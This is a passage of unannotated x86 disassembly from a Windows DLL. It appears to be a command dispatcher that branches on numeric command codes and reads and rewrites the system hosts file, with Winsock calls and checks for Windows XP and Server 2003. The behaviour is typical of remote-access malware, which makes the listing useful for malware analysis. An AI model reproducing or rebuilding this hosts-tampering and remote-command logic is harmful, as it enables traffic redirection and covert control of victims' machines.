call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100ded16
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.10010982
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037715
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10037728
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x1003773b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1003774e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10037761
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10037774
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10037787
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1003779a
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100377ad
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100377bd
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100377cd
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x100377e3
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x1003780f
push ebx
call fcn.100b8c45
add esp, 4
push 1
push dword [ebp - 0x80]
call fcn.10004694
jmp 0x1003a351
push str.110040
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100378c6
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110040
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037886
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100378b7
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110041
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10037a47
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100378f2
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100ded20
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037936
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x100379bb
call fcn.1004351a
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1003795b
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037981
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110041
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100379a6
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100379b6
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10037a42
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110041
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037a07
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037a38
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110042
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003803f
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10037a73
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.hosts
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037ab7
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10037bc3
cmp dword [0x100e6a29], 1
jne 0x10037b68
push 0x80000301
push 0
push 8
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.Hosts
push dword [ebp - 0x44]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037b1c
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10037b2f
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x23c
call fcn.100c0250
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037b5e
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a29], 0
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100bbf40
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110042
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037bae
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037bbe
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003803a
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10037bd6
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x80000301
push 0
push 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x10037c0b
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10037c34
push ebx
call fcn.100b8c45
add esp, 4
push 0x100ded62
push dword [ebp - 0x50]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10037c6b
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x10037f43
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10037c8b
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100ded67
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.10010982
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037da6
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10037db9
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10037dcc
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10037ddf
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10037df2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10037e05
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10037e18
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10037e2b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10037e3e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10037e4e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037e5e
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x10037e74
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x10037ea0
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x10037eb6
mov eax, 0x100d5289
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x26c
call fcn.100babf0
add esp, 0x1c
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x10037ee8
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100bbf40
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110042
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037f2e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037f3e
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003803a
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10037f56
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100ded6d
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10037f9d
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1003803a
push 0x80000301
push 0
push 8
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x44], eax
push str.Hosts
push dword [ebp - 0x44]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037ff8
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10038017
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x23c
call fcn.100c0250
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003803a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110045
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100380ad
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003806b
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
push 1
lea eax, [ebp - 0x44]
push eax
call fcn.1003a57b
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100380a8
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110046
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100385d8
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x100380e7
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x44], eax
push str.Windows_XP
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003812b
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x100381b1
push 0x80000301
push 0
push 0x13
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10038156
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x4c], eax
push str.Windows_Server_2003
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003819d
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100381b1
mov eax, 1
jmp 0x100381b6
mov eax, 0
test eax, eax
je 0x100385d3
call fcn.100420f0
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d5d18
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100381eb
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038211
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10038233
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003822f
imul eax, dword [ebx]
jmp 0x10038224
mov ecx, eax
test ecx, ecx
je 0x10038252
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003824b
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10038239
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100385d0
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x100382a4
push 0x4769
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100382c1
push 0x4769
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100382dc
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10038317
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1003832d
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038353
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x4c], 0xffffffff
je 0x100385c8
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10038384
push 0x47cc
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100383a1
push 0x47cc
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100383d0
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10038408
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10038404
imul eax, dword [ebx]
jmp 0x100383f9
mov ecx, eax
test ecx, ecx
je 0x10038427
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10038420
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003840e
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x38]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 0x3c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100385c5
mov ebx, dword [ebp - 0x38]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 0x3c]
dec eax
jns 0x10038479
push 0x484e
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10038496
push 0x484e
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100384b1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x100384ec
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10038502
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038528
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x4c], 0xffffffff
je 0x100385bd
mov ebx, dword [ebp - 0x38]
call fcn.100020b9
push ebx
push ecx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
fsub qword [0x100d5281]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
call fcn.10001795
dec eax
jns 0x10038576
push 0x48b1
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10038593
push 0x48b1
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
push 1
push dword [ebp - 0x54]
call fcn.1003a57b
pop eax
pop ebx
pop ecx
jmp 0x10038444
add esp, 0xc
pop eax
pop ebx
pop ecx
jmp 0x1003826f
add esp, 0xc
jmp 0x1003a351
push str.110047
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038783
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 1
mov ebx, 0x268
call fcn.100bbf40
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10038625
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003864b
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003865e
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x10038687
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x174
call fcn.100ba730
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100386b0
push ebx
call fcn.100b8c45
add esp, 4
push dword [ebp - 0x50]
push 0x100d5d18
push dword [ebp - 0x48]
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100386e1
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100386f4
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x1003870a
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10038736
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x1003874c
mov eax, 0x100d5289
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:WINDOWS_system32driversetcHosts
push 2
mov ebx, 0x26c
call fcn.100babf0
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1003877e
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110048
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003897c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100387af
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100387ea
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038810
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10038832
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003882e
imul eax, dword [ebx]
jmp 0x10038823
mov ecx, eax
test ecx, ecx
je 0x10038851
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003884a
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10038838
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x10038977
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1003889a
push 0x4b22
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x100388c0
push eax
mov ebx, eax
call fcn.1000101d
inc eax
push eax
call fcn.100b8c3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6aa5]
test ebx, ebx
je 0x100388d4
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6aa5], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10038902
push 0x4b49
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x10038928
push eax
mov ebx, eax
call fcn.1000101d
inc eax
push eax
call fcn.100b8c3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6aa9]
test ebx, ebx
je 0x1003893c
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6aa9], eax
push 0x80000301
push 0
push 0x100e6aad
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x10048aa0
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x1003a351
push str.110049
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038a26
mov dword [0x100e6ab1], 1
push 0x80000301
push 0
push dword [0x100e6aad]
push 1
mov ebx, 0x18
mov eax, 0x100c3ab0
call fcn.100b9790
add esp, 0x10
test eax, eax
je 0x10038a21
push reloc.WS2_32.dll_connect
push 0
